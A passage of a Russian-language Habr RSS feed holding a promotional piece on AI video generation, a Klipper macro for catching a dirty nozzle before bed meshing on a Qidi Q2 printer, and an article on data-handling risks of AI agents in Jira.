нейросеть создать видео&lt;/strong&gt;&lt;/a&gt; может на раннем этапе сэкономить деньги, время и количество правок.&lt;h3&gt;FAQ&lt;/h3&gt;&lt;h4&gt;Какая нейросеть для генерации видео лучше всего подходит новичку?&lt;/h4&gt;&lt;p&gt;Для новичка лучше выбирать сервис, где понятный интерфейс и быстрый вход в процесс. Часто удобнее начинать с модели, которая не требует долгой настройки и позволяет быстро увидеть результат. Важнее не “самая мощная” модель, а та, на которой вы сможете регулярно тренироваться и улучшать промты.&lt;h4&gt;Можно ли сделать генерацию видео бесплатно?&lt;/h4&gt;&lt;p&gt;Да, во многих сервисах есть пробный доступ, демо-режим или стартовые кредиты, поэтому генерация видео бесплатно для первых тестов вполне реальна. Но для постоянной работы и большого объема роликов обычно все равно нужен платный доступ или более расширенный тариф.&lt;h4&gt;Что лучше: генерация видео по тексту или по фото?&lt;/h4&gt;&lt;p&gt;Зависит от задачи. Генерация видео по тексту лучше подходит, когда вы создаете сцену с нуля и хотите полностью описать идею словами. Генерация видео по фото удобнее, когда у вас уже есть изображение персонажа, продукта или объекта, и его нужно оживить.&lt;h4&gt;Какой промт дает лучший результат?&lt;/h4&gt;&lt;p&gt;Лучший промт — конкретный. В нем есть главный объект, окружение, действие, камера, свет, настроение и важные детали. Чем яснее постановка задачи, тем выше шанс, что нейросеть для генерации видео покажет именно то, что вы задумали.&lt;h4&gt;Можно ли использовать ИИ-видео в бизнесе?&lt;/h4&gt;&lt;p&gt;Да, и именно в бизнесе такие ролики особенно полезны. Их используют для рекламы, презентаций, теста креативов, визуализации идеи, контента для сайта и соцсетей. Это хороший способ ускорить работу и проверить гипотезы до полноценного продакшна.&lt;h3&gt;Итог&lt;/h3&gt;&lt;p&gt;Нейросети для видео уже стали рабочим инструментом, а не экспериментом “на будущее”. Сегодня с их помощью можно быстро проверить идею, сделать атмосферный ролик, собрать визуальный концепт, оживить фото, подготовить креатив для рекламы или контента. Главное — не искать волшебную кнопку, а понимать, какая модель подходит именно под вашу задачу.&lt;p&gt;Хорошая &lt;a href=https://ranvik.ru/video&gt;&lt;strong&gt;генерация видео&lt;/strong&gt;&lt;/a&gt; начинается не с кнопки “создать”, а с ясной идеи: кто в кадре, что происходит, как движется камера, какой свет, какая эмоция должна остаться у зрителя. Именно поэтому один сильный промт часто решает больше, чем десять случайных попыток.&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
      <guid>https://habr.com/ru/companies/ranvik/articles/1024842/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1024842</guid>
      <pubDate>Sat, 18 Apr 2026 07:39:34 +0000</pubDate>
    </item>
    <item>
      <title>Избавляем Qidi Q2 от «сопливого носа» при старте печати</title>
      <link>https://habr.com/ru/articles/1024908/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1024908</link>
      <description>&lt;div&gt;&lt;div class=&#34;article-formatted-body article-formatted-body article-formatted-body_version-2&#34;&gt;&lt;div xmlns=http://www.w3.org/1999/xhtml&gt;&lt;p&gt;Наверное редкий владелец принтера Qidi Q2 и подобных с тензодатчиком не сталкивался с проблемой: на кончик сопла налипла капля пластика, датчик из-за неё сработал раньше времени, и в итоге вся карта высот стола (Bed Mesh) “улетела” вверх. Результат — первый слой печатается в воздухе, адгезии ноль, печать испорчена.&lt;p&gt;Вместо того чтобы надеяться на удачу или бесконечно тереть сопло об щетку, предлагаю добавить простую проверку в стартовый макрос печати.&lt;h4&gt;Идея&lt;/h4&gt;&lt;p&gt;Проблема возникает именно из-за наличия тензодатчика (это новация Qidi Q2) и логики подготовки печати. Принтер выполняет “продувку” сопла в корзину, охлаждает сопло до 140 градусов и выполняет пару проходов по силиконовой щетке. Это срабатывает не всегда, иногда на холодном сопле остается капля довольно жесткого пластика при такой температуре. И с таким носом принтер уже едет делать &lt;code&gt;Z_TILT_ADJUST&lt;/code&gt; и &lt;code&gt;G29&lt;/code&gt;.&lt;p&gt;Если посмотреть на стартовый скрипт печати Qidi Q2:&lt;details class=spoiler&gt;&lt;summary&gt;PRINT_START&lt;/summary&gt;&lt;div class=spoiler__content&gt;&lt;pre&gt;&lt;code&gt;[gcode_macro PRINT_START]&#xA;gcode:&#xA;    SKEW_PROFILE LOAD=qidi_q2_skew&#xA;    AUTOTUNE_SHAPERS&#xA;    DISABLE_ALL_SENSOR&#xA;    CLEAR_PAUSE&#xA;    &#xA;    {% set bedtemp = params.get(&amp;#39;BED&amp;#39;) | int %}&#xA;    {% set hotendtemp = params.get(&amp;#39;HOTEND&amp;#39;) | int %}&#xA;    {% set chambertemp = params.get(&amp;#39;CHAMBER&amp;#39;, 0) | int %}&#xA;    {% set extruder = params.EXTRUDER|default(0)|int %}&#xA;    {% set Polar_cooler = printer.save_variables.variables.enable_polar_cooler|default(0) %}&#xA;&#xA;    M104 S0&#xA;    {% if chambertemp == 0 %}&#xA;        M106 P3 S255&#xA;    {% endif %}&#xA;    M140 S{bedtemp}    &#xA;    G28   &#xA;    M141 S{chambertemp}    &#xA;    SET_GCODE_OFFSET Z=0 MOVE=0&#xA;    BUFFER_MONITORING ENABLE=0&#xA;    {% if printer.save_variables.variables.box_count &amp;gt;= 1 and printer[&amp;#34;box_extras&amp;#34;] %} &#xA;        SAVE_VARIABLE VARIABLE=load_retry_num VALUE=0&#xA;        SAVE_VARIABLE VARIABLE=retry_step VALUE=None&#xA;        CLEAR_TOOLCHANGE_STATE&#xA;        {% for i in range(16) %}&#xA;            SAVE_VARIABLE VARIABLE=runout_{i} VALUE=0&#xA;            G4 P100&#xA;        {% endfor %}&#xA;        {% if printer.save_variables.variables.enable_box == 1 %}&#xA;            BOX_PRINT_START EXTRUDER={extruder} HOTENDTEMP={hotendtemp}&#xA;            M400&#xA;            EXTRUSION_AND_FLUSH HOTEND={hotendtemp}&#xA;        {% endif %}&#xA;    {% endif %}&#xA;&#xA;    CLEAR_NOZZLE HOTEND={hotendtemp}&#xA;    #切料调平&#xA;    CUT_FILAMENT_1&#xA;    M104 S140&#xA;    G4 P3000&#xA;    M400&#xA;    G28    &#xA;    Z_TILT_ADJUST&#xA;&#xA;    M104 S140&#xA;    M190 S{bedtemp}   &#xA;    M191 S{chambertemp}&#xA;    M400&#xA;    G4 P3000&#xA;    &#xA;    G29&#xA;    G0 Z50 F600&#xA;    G0 X260 Y5  F30000&#xA;    {% if printer.save_variables.variables.box_count &amp;gt;= 1 and printer[&amp;#34;box_extras&amp;#34;] and printer.save_variables.variables.enable_box == 1 %}&#xA;        BUFFER_MONITORING ENABLE=1 &#xA;    {% endif %}&#xA;    M191 S{chambertemp}&#xA;    M109 S{hotendtemp}&#xA;    M204 S10000&#xA;    M106 P4 S{Polar_cooler}                    #根据设置开启空调&#xA;&#xA;    set_zoffset&#xA;    ENABLE_ALL_SENSOR&#xA;    save_last_file&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:87px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/details&gt;&lt;p&gt;Видно что единственное куда стоит вмешаться это команда &lt;code&gt;G29&lt;/code&gt; (bed mesh), остальное от смещения по z пострадать не должно, даже &lt;code&gt;Z_TILT_ADJUST&lt;/code&gt; отработает корректно. Но после &lt;code&gt;G29&lt;/code&gt; с грязным соплом вся последующая сетка высот стола (&lt;code&gt;kamp&lt;/code&gt;) будет иметь положительное смещение.&lt;h3&gt;Реализация защиты&lt;/h3&gt;&lt;p&gt;Предлагаю следующий макрос, который после построения сетки вычисляет среднее арифметическое значение Z всех точек. Если оно выше определенного порога, принтер уходит на повторную чистку и переделывает сетку заново. После этого мы повторяем &lt;code&gt;G29&lt;/code&gt; и если повторная сетка высот легла выше порога - выбрасываем алерт и прерываем печать.&lt;ol&gt;&lt;li&gt;&lt;p&gt;Добавьте код макроса &lt;code&gt;_CHECK_NOZZLE_DIRTY&lt;/code&gt;в &lt;code&gt;gcode_macro.cfg&lt;/code&gt;:&lt;/ol&gt;&lt;pre&gt;&lt;code&gt;[gcode_macro _CHECK_NOZZLE_DIRTY]&#xA;description: Детекция грязного сопла и автоматический повтор очистки&#xA;variable_retry_count: 0&#xA;gcode:&#xA;    {% set profile = params.PROFILE|default(&amp;#39;kamp&amp;#39;) %}&#xA;    {% set hotendtemp = params.HOTEND|default(250)|int %}&#xA;    &#xA;    # Проверяем наличие профиля сетки в системе&#xA;    {% if profile in printer.bed_mesh.profiles %}&#xA;        {% set mesh = printer.bed_mesh.profiles[profile].points %}&#xA;        {% set total_z = namespace(val=0) %}&#xA;        {% set count = namespace(val=0) %}&#xA;&#xA;        # Считаем сумму всех значений Z в сетке&#xA;        {% for row in mesh %}&#xA;            {% for z in row %}&#xA;                {% set total_z.val = total_z.val + z %}&#xA;                {% set count.val = count.val + 1 %}&#xA;            {% endfor %}&#xA;        {% endfor %}&#xA;&#xA;        # Вычисляем средний по Z&#xA;        {% if count.val &amp;gt; 0 %}&#xA;            {% set avg_z = total_z.val / count.val %}&#xA;        {% endif %}&#xA;&#xA;        # Порог 0.07 — мое значение, подберите под себя.&#xA;        {% if avg_z &amp;gt; 0.07 %}&#xA;            {% if retry_count &amp;lt; 1 %}&#xA;                { action_respond_info(&amp;#34;ВНИМАНИЕ: Сопло грязное (Z-avg: %.3f). Попытка очистки...&amp;#34; % avg_z) }&#xA;                SET_GCODE_VARIABLE MACRO=_CHECK_NOZZLE_DIRTY VARIABLE=retry_count VALUE=1&#xA;                &#xA;                CLEAR_NOZZLE HOTEND={hotendtemp} # стандартный макрос чистки qidi&#xA;                G28 Z&#xA;                G29 # повторный замер сетки (получим новые цифры в &amp;#39;kamp&amp;#39;)&#xA;            {% else %}&#xA;                SET_GCODE_VARIABLE MACRO=_CHECK_NOZZLE_DIRTY VARIABLE=retry_count VALUE=0&#xA;                { action_raise_error(&amp;#34;ОШИБКА: Повторная чистка не помогла (Z-avg: %.3f). Остановка.&amp;#34; % avg_z) }&#xA;            {% endif %}&#xA;        {% else %}&#xA;            { action_respond_info(&amp;#34;ПРОВЕРКА: Сопло чистое (Z-avg: %.3f). Печать разрешена.&amp;#34; % avg_z) }&#xA;            SET_GCODE_VARIABLE MACRO=_CHECK_NOZZLE_DIRTY VARIABLE=retry_count VALUE=0&#xA;        {% endif %}&#xA;    {% else %}&#xA;        { action_respond_info(&amp;#34;ПРОВЕРКА: Профиль сетки %s не найден.&amp;#34; % profile) }&#xA;    {% endif %}&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;ol start=2&gt;&lt;li&gt;&lt;p&gt;Вставьте вызов макроса в ваш &lt;code&gt;PRINT_START&lt;/code&gt; сразу после калибровки стола &lt;code&gt;G29&lt;/code&gt;:&lt;/ol&gt;&lt;pre&gt;&lt;code&gt;# ... подготовка, нагрев ...&#xA;G29 ; Калибровка сетки стола&#xA;_CHECK_NOZZLE_DIRTY PROFILE=kamp HOTEND={hotendtemp}&#xA;# ... продолжение печати ...&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Вот так работа макроса выглядит в логах klipper:&lt;pre&gt;&lt;code&gt;...&#xA;Mesh Bed Leveling Complete&#xA;save_config: set [bed_mesh kamp] version = 1&#xA;save_config: set [bed_mesh kamp] points =   0.031094, 0.072891, 0.070781, 0.028594  0.153359, 0.182891, 0.177109, 0.173594  0.212812, 0.222578, 0.060469, 0.208047  0.254922, 0.230703, 0.238828, 0.230625  0.219219, 0.217187, 0.008594, -0.021797  0.143516, 0.169922, 0.005234, -0.037188&#xA;save_config: set [bed_mesh kamp] x_count = 4&#xA;save_config: set [bed_mesh kamp] y_count = 6&#xA;save_config: set [bed_mesh kamp] mesh_x_pps = 2&#xA;save_config: set [bed_mesh kamp] mesh_y_pps = 2&#xA;save_config: set [bed_mesh kamp] algo = lagrange&#xA;save_config: set [bed_mesh kamp] tension = 0.2&#xA;save_config: set [bed_mesh kamp] min_x = 60.0&#xA;save_config: set [bed_mesh kamp] max_x = 210.0&#xA;save_config: set [bed_mesh kamp] min_y = 10.0&#xA;save_config: set [bed_mesh kamp] max_y = 260.0&#xA;Bed Mesh state has been saved to profile [kamp]&#xA;for the current session.  The SAVE_CONFIG command will&#xA;update the printer config file and restart the printer.&#xA;SAVE_CONFIG to &amp;#39;/home/mks/printer_data/config/printer.cfg&amp;#39; (backup in &amp;#39;/home/mks/printer_data/config/printer-20260412_211059.cfg&amp;#39;)&#xA;ВНИМАНИЕ: Сопло грязное (Z-avg: 0.136). Попытка очистки №1...&#xA;Heater extruder approaching new target of 240.000&#xA;...&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;blockquote&gt;&lt;p&gt;Совет по настройке: Начните с порога 0.07 - 0.1 мм. Он должен быть выше погрешности вашего датчика и теплового расширения, но меньше высоты первого слоя вашего пластика.&lt;/blockquote&gt;&lt;p&gt;В норме среднее значение Z по сетке после &lt;code&gt;G29&lt;/code&gt; должно быть близким к нулю, с разбросом не более 0.2. Если вы не выполняли калибровку стола, то применяйте макрос аккуратнее - подберите свое пороговое значение. А лучше выполните калибровку стола. Мой порог в 0.07 мм — гарантированно ловит попытки мешинга с грязным носом.&lt;p&gt;Если есть желание протестировать работу, можно так - подсовывая при каждом замере сложенную в пару слоев бумажку (я проверял щупом 0.1).&lt;p&gt;Надеюсь это сэкономит Вам кучу времени при удаленном запуске печати, когда нет возможности лично проверить чистоту сопла.&lt;p&gt;Удачи в печати.&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
      <author>bricks_can_fly</author>
      <guid>https://habr.com/ru/articles/1024908/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1024908</guid>
      <pubDate>Sat, 18 Apr 2026 07:16:13 +0000</pubDate>
    </item>
    <item>
      <title>ИИ в корпоративной Jira или лиса в курятнике: новый вызов для DevSecOps-инженеров</title>
      <link>https://habr.com/ru/articles/1024906/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1024906</link>
      <description>&lt;div&gt;&lt;div class=&#34;article-formatted-body article-formatted-body article-formatted-body_version-2&#34;&gt;&lt;div xmlns=http://www.w3.org/1999/xhtml&gt;&lt;h2&gt;Спойлер: не бойтесь модели — бойтесь препроцессора&lt;/h2&gt;&lt;p&gt;25 февраля 2026 года Atlassian вывела в открытую бету «агентов в Jira». Теперь они практически наши коллеги: видны на доске как исполнители, на равных участвуют в рабочих процессах, а вызывать их можно прямо в комментариях через @mention. Параллельно Atlassian выпустила &lt;a href=&#34;https://www.atlassian.com/blog/announcements/atlassian-rovo-mcp-ga?utm_source=chatgpt.com&#34; rel=&#34;noopener noreferrer nofollow&#34;&gt;Rovo MCP Server GA&lt;/a&gt; — хостированный сервер, который дает совместимым AI-клиентам (Claude, Cursor, Gemini CLI и др.) защищенный доступ к Jira и Confluence.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/688/c6b/58a/688c6b58af4725815afa4cfea8578cc0.png width=1430 height=886 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/688/c6b/58a/688c6b58af4725815afa4cfea8578cc0.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/688/c6b/58a/688c6b58af4725815afa4cfea8578cc0.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;p&gt;Некоторые из этих сценариев были доступны и раньше, но в другом виде. Rovo Agents (платформа ИИ-агентов Atlassian) работали (с 2024) в основном через отдельный чат-интерфейс и не были встроены в Jira как полноценные участники. В февральском релизе это изменилось: теперь агенты — часть структуры Jira, работают в рамках проектных настроек, &lt;a href=&#34;https://support.atlassian.com/jira-service-management-cloud/docs/customer-permissions-for-your-service-project-and-jira-site/?utm_source=chatgpt.com&#34; rel=&#34;noopener noreferrer nofollow&#34;&gt;прав доступа&lt;/a&gt;, аудит-логов и согласований.&lt;h2&gt;Что с безопасностью: общая архитектура&lt;/h2&gt;&lt;p&gt;Типовая схема взаимодействия ИИ‑ассистента с Jira — это три слоя: препроцессор (middleware), модель (GPT/Claude/Gemini) и постпроцессинг.&lt;ul&gt;&lt;li&gt;&lt;p&gt;Препроцессор забирает данные из Jira по API, нормализует их, фильтрует, обогащает контекстом, при необходимости строит векторный индекс, пишет логи и только потом формирует запрос для модели.&lt;li&gt;&lt;p&gt;После этого модель в облаке провайдера (OpenAI, Anthropic, Google Cloud) получает уже готовый промпт и подготовленный контекст.&lt;li&gt;&lt;p&gt;Ответ возвращается через постпроцессинг, где его можно дообезличить, залогировать и отдать обратно в Jira.&lt;/ul&gt;&lt;p&gt;Это важная развилка: GPT, Claude или Gemini не «ходят» в Jira сами по себе. Они видят только то, что вы им отправили. И вот тут ответ на вопрос «что происходит с данными компании» зависит от двух вещей: что делает с запросом провайдер модели и что делает с исходными данными ваш препроцессор до того, как этот запрос вообще собран.&lt;h2&gt;Что делают с данными провайдеры &lt;/h2&gt;&lt;p&gt;Начнем с провайдеров и сразу хорошая новость: и OpenAI, и Anthropic, и Google — дают корпоративным клиентам договорные гарантии того, что данные через API не используются для обучения моделей. Это прописано в условиях сервиса, и применяется по умолчанию, необходимости что-то специально отключать нет. &lt;p&gt;Вот только детали у каждого провайдера свои, а искать их нужно не на маркетинговой странице, а в контракте, DPA (Data Processing Agreement, соглашение об обработке данных) и настройках конкретного продукта. Начать можете с этого:&lt;a href=&#34;https://openai.com/policies/data-processing-addendum/?utm_source=chatgpt.com&#34; rel=&#34;noopener noreferrer nofollow&#34;&gt; OpenAI DPA&lt;/a&gt;,&lt;a href=&#34;https://support.anthropic.com/en/articles/7996862-how-do-i-view-and-sign-your-data-processing-addendum-dpa?utm_source=chatgpt.com&#34; rel=&#34;noopener noreferrer nofollow&#34;&gt; Anthropic DPA&lt;/a&gt;,&lt;a href=&#34;https://cloud.google.com/terms/data-processing-addendum?utm_source=chatgpt.com&#34; rel=&#34;noopener noreferrer nofollow&#34;&gt; Google Cloud DPA&lt;/a&gt;.&lt;p&gt;Если очень кратко, различия в следующем:&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/d13/53c/143/d1353c1436358a2fdcfeea28a14dbd13.png width=1444 height=784 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/d13/53c/143/d1353c1436358a2fdcfeea28a14dbd13.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/d13/53c/143/d1353c1436358a2fdcfeea28a14dbd13.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;p&gt;У OpenAI для чувствительных кейсов доступен режим &lt;a href=&#34;https://developers.openai.com/api/docs/guides/your-data?utm_source=chatgpt.com&#34; rel=&#34;noopener noreferrer nofollow&#34;&gt;Zero Data Retention&lt;/a&gt;: там даже служебные логи не сохраняются, хотя запрос все равно проходит через защитные фильтры. Похожая логика у Anthropic: для коммерческих продуктов обучение на клиентских данных требует явного согласия клиента, а для enterprise-сценариев доступны &lt;a href=&#34;https://privacy.anthropic.com/en/articles/8956058-i-have-a-zero-data-retention-agreement-with-anthropic-what-products-does-it-apply-to?utm_source=chatgpt.com&#34; rel=&#34;noopener noreferrer nofollow&#34;&gt;договорные режимы изоляции и сниженной ретенции&lt;/a&gt;. У Google в &lt;a href=&#34;https://support.google.com/mail/answer/14615114?hl=en&amp;amp;utm_source=chatgpt.com&#34; rel=&#34;noopener noreferrer nofollow&#34;&gt;Gemini for Workspace&lt;/a&gt; и &lt;a href=&#34;https://docs.cloud.google.com/vertex-ai/generative-ai/docs/vertex-ai-zero-data-retention?utm_source=chatgpt.com&#34; rel=&#34;noopener noreferrer nofollow&#34;&gt;Vertex AI&lt;/a&gt; данные клиента также отделяются от данных для обучения, а в корпоративных сценариях можно настраивать параметры региона, шифрования и частных соединений.&lt;p&gt;Это не значит, что риска нет. Это значит, что в enterprise-канале риск обычно не в провайдере, который внезапно начнет доучивать модель на ваших тикетах, давая доступ к внутренней кухне компании, а в том, какой именно контекст вы ему отправили и как этот контекст был собран.&lt;p&gt;Здесь есть важная оговорка про Anthropic. On-prem-развертывания базовых моделей Claude в исходном виде нет. Доступ идет либо через облако самого Anthropic, либо через партнерские каналы вроде &lt;a href=https://platform.claude.com/docs/en/build-with-claude/claude-on-amazon-bedrock rel=&#34;noopener noreferrer nofollow&#34;&gt;AWS Bedrock&lt;/a&gt; и &lt;a href=https://platform.claude.com/docs/en/build-with-claude/claude-on-vertex-ai rel=&#34;noopener noreferrer nofollow&#34;&gt;Google Vertex AI&lt;/a&gt;. Для security-команды это означает одно: рассчитывать на полностью локальный Claude не стоит, архитектуру в любом случае придется проектировать исходя из облачного сценария.&lt;h2&gt;Почему личный аккаунт сотрудника — это другое&lt;/h2&gt;&lt;p&gt;Все сказанное выше справедливо для корпоративных продуктов и API. Потребительские версии — &lt;a href=https://code.claude.com/docs/en/data-usage rel=&#34;noopener noreferrer nofollow&#34;&gt;Claude Free/Pro/Max&lt;/a&gt; в браузере, &lt;a href=&#34;https://support.google.com/gemini/answer/13594961?hl=en&amp;amp;utm_source=chatgpt.com&#34; rel=&#34;noopener noreferrer nofollow&#34;&gt;Gemini Apps&lt;/a&gt; на &lt;a href=http://gemini.google.com rel=&#34;noopener noreferrer nofollow&#34;&gt;gemini.google.com&lt;/a&gt;, &lt;a href=&#34;https://openai.com/policies/how-your-data-is-used-to-improve-model-performance/?utm_source=chatgpt.com&#34; rel=&#34;noopener noreferrer nofollow&#34;&gt;ChatGPT Free&lt;/a&gt; — живут по другим правилам.&lt;p&gt;Там режимы хранения, использования данных и отключения обучения отличаются от enterprise-сценариев и требуют отдельной настройки, если она вообще доступна.&lt;p&gt;На практике это означает неприятную, но простую вещь. Когда разработчик, аналитик или проджект открывают свой личный браузерный чат и копируют туда реальный тикет из Jira, они работают уже не в корпоративном контуре, даже если делают это из благих намерений. &lt;p&gt;Проблема здесь явно не в Anthropic, OpenAI или Google, а в том, что ваша компания не развела режимы использования и не закрыла этот сценарий организационно, объяснив сотруднику перспективы такого поведения. Проще говоря — забила на безопасность.&lt;p&gt;Для работы с Jira нужны либо корпоративные лицензии, либо корпоративный API-канал: &lt;a href=&#34;https://openai.com/enterprise-privacy/?utm_source=chatgpt.com&#34; rel=&#34;noopener noreferrer nofollow&#34;&gt;OpenAI API или Enterprise&lt;/a&gt;,&lt;a href=&#34;https://support.anthropic.com/en/articles/11174108-about-the-development-partner-program?utm_source=chatgpt.com&#34; rel=&#34;noopener noreferrer nofollow&#34;&gt; Anthropic API и Claude for Work&lt;/a&gt;,&lt;a href=&#34;https://knowledge.workspace.google.com/admin/gemini/gemini-for-google-workspace-faq?utm_source=chatgpt.com&#34; rel=&#34;noopener noreferrer nofollow&#34;&gt; Gemini for Workspace или Google Cloud&lt;/a&gt;. Личный аккаунт сотрудника, прокинутый через сторонний клиент, — ни разу не замена этим продуктам и не «временное решение», а отдельный, прямой риск.&lt;h2&gt;Где на самом деле прячется лиса&lt;/h2&gt;&lt;p&gt;Теперь к главному. Препроцессор — это не просто прослойка между Jira и моделью. Это слой, который фактически держит ваши данные:&lt;ul&gt;&lt;li&gt;&lt;p&gt;индексирует тикеты;&lt;li&gt;&lt;p&gt;хранит векторные представления;&lt;li&gt;&lt;p&gt;кэширует запросы и ответы;&lt;li&gt;&lt;p&gt;пишет логи;&lt;li&gt;&lt;p&gt;собирает метрики качества;&lt;li&gt;&lt;p&gt;обогащает контекст данными из других систем.&lt;/ul&gt;&lt;p&gt;Если этот слой развернут внутри вашего контура — on-prem или в собственном VPC, — риск, не исчезает полностью, но становится более управляемым. Все упирается в то, что именно вы храните, как долго, в каком виде, кто имеет доступ и куда разрешен исходящий трафик.&lt;p&gt;Однако еще опаснее сценарий, когда вместо собственной middleware-прокладки компания ставит готовый SaaS-коннектор из маркетплейса Jira или вообще подключает внешнюю AI-платформу, пусть и рекомендованную для Jira. Тогда появляется еще один обработчик данных со своей базой, своими логами, своей юрисдикцией хранения, своими условиями и своей моделью угроз. И этот риск уже никак не покрывается тем, что у вас подписан DPA с OpenAI, Anthropic или Google.&lt;p&gt;Проще говоря, классный плагин AI for Jira — это не продолжение политики безопасности провайдера модели. Это отдельный поставщик. И проверять его нужно отдельно.&lt;h2&gt;Что делать, чтобы спать спокойно&lt;/h2&gt;&lt;p&gt;Если смотреть на задачу по-взрослому, начинать нужно не с выбора модели, а с правил и архитектуры.&lt;p&gt;Во-первых, запретить использование личных consumer-аккаунтов для работы с корпоративными данными. Это базовая гигиена. Пока сотрудники безмятежно копируют тикеты в свой личный чат, вся остальная безопасность — фикция.&lt;p&gt;Во-вторых, использовать только корпоративные каналы доступа к модели. И это не формальность. У enterprise-продуктов и API другой технический режим: DPA, управляемая ретенция, отдельные настройки доступа, иногда — ZDR (Zero Data Retention, режим нулевого хранения данных) или его аналоги. Не факт, что поможет, но в целом жить можно.&lt;p&gt;В-третьих, держать препроцессор внутри собственного контура и относиться к нему как к критичному хранилищу, а не как к утилитарной прослойке для запросов. Минимальный набор мер для этого не требует участия специалистов из Кремниевой долины:&lt;ul&gt;&lt;li&gt;&lt;p&gt;по возможности хранить не полный текст тикетов, а производные представления;&lt;li&gt;&lt;p&gt;шифровать хранилища и логи;&lt;li&gt;&lt;p&gt;ограничивать исходящий трафик только до нужного API;&lt;li&gt;&lt;p&gt;минимизировать контекст до отправки в модель;&lt;li&gt;&lt;p&gt;маскировать PII (Personally Identifiable Information, персональные данные);&lt;li&gt;&lt;p&gt;заменять логины, Jira ID и другие идентификаторы псевдонимами;&lt;li&gt;&lt;p&gt;фильтровать вложения и чувствительные поля до индексации.&lt;/ul&gt;&lt;p&gt;Модели не нужен весь оригинальный тикет, чтобы дать полезный ответ. Ей нужен &lt;strong&gt;достаточный&lt;/strong&gt; контекст. Именно разница между «всем» и «достаточно» обычно и определяет, есть у вас реальный контроль над данными или вам это кажется.&lt;p&gt;В-четвертых, отдельно проверить договорную часть. Если вам важна нулевая или сокращенная ретенция логов, странно ожидать этого от базовой enterprise-лицензии. Такие режимы нужно дополнительно фиксировать в контракте, приложениях к нему и, по возможности, подтверждать технически. Вот здесь, кстати, юрист уровня Кремниевой долины, будет кстати.&lt;p&gt;Наконец, в-пятых. Не стоит доверять маркетплейс-коннекторам, пусть они очень вам нравятся и клянутся мамой. Если вы ставите внешний AI-плагин для Jira, у него должны быть свои DPA, желательно даже DPIA (Data Protection Impact Assessment, оценка воздействия на защиту данных), понятная модель хранения данных, прозрачная юрисдикция и внятный ответ на вопрос, где именно лежат тикеты, индексы, кэш и логи и как обеспечивается их защита.&lt;h2&gt;Вывод&lt;/h2&gt;&lt;p&gt;А вывод очевиден: безопасность любой ИИ-интеграции определяет не модель, а цепочка обработки данных между Jira и этой моделью. У провайдера LLM своя зона ответственности. У вас, как у владельца и администратора бизнес-процессов — своя. И если в этой цепочке есть слабое место, то чаще всего это не GPT, Claude или Gemini, а слой, который вы сами построили между ними.&lt;p&gt;При этом даже если речь идет о корпоративном API, договорных гарантиях, сниженной ретенции и настроенном с маниакальной аккуратностью доступе, риск остается, потому что данные все равно попадают в руки внешнего провайдера.&lt;p&gt;Понимая, что для части компаний уже сам факт вынесения данных во внешний облачный контур является отдельным, часто, неприемлемым риском, и опираясь на собственный опыт, &lt;strong&gt;мы предлагаем&lt;/strong&gt; встречный, более понятный с точки зрения безопасности, сценарий: &lt;strong&gt;разместить ИИ внутри собственного контура&lt;/strong&gt;. &lt;p&gt;Да, такая модель, скорее всего, проиграет в мощности флагманским облачным системам. Но, согласитесь, во многих прикладных задачах она, мощность, и не требуется. Если цель — искать данные, работать в рамках внутренней базы знаний, помогать с навигацией по тикетам, документам, регламентам и типовым запросам, локальной модели вам хватит за глаза.&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
      <author>rnbparty</author>
      <guid>https://habr.com/ru/articles/1024906/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1024906</guid>
      <pubDate>Sat, 18 Apr 2026 07:16:06 +0000</pubDate>
    </item>
    <item>
      <title>Немного про AI для догоняющих</title>
      <link>https://habr.com/ru/articles/1024904/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1024904</link>
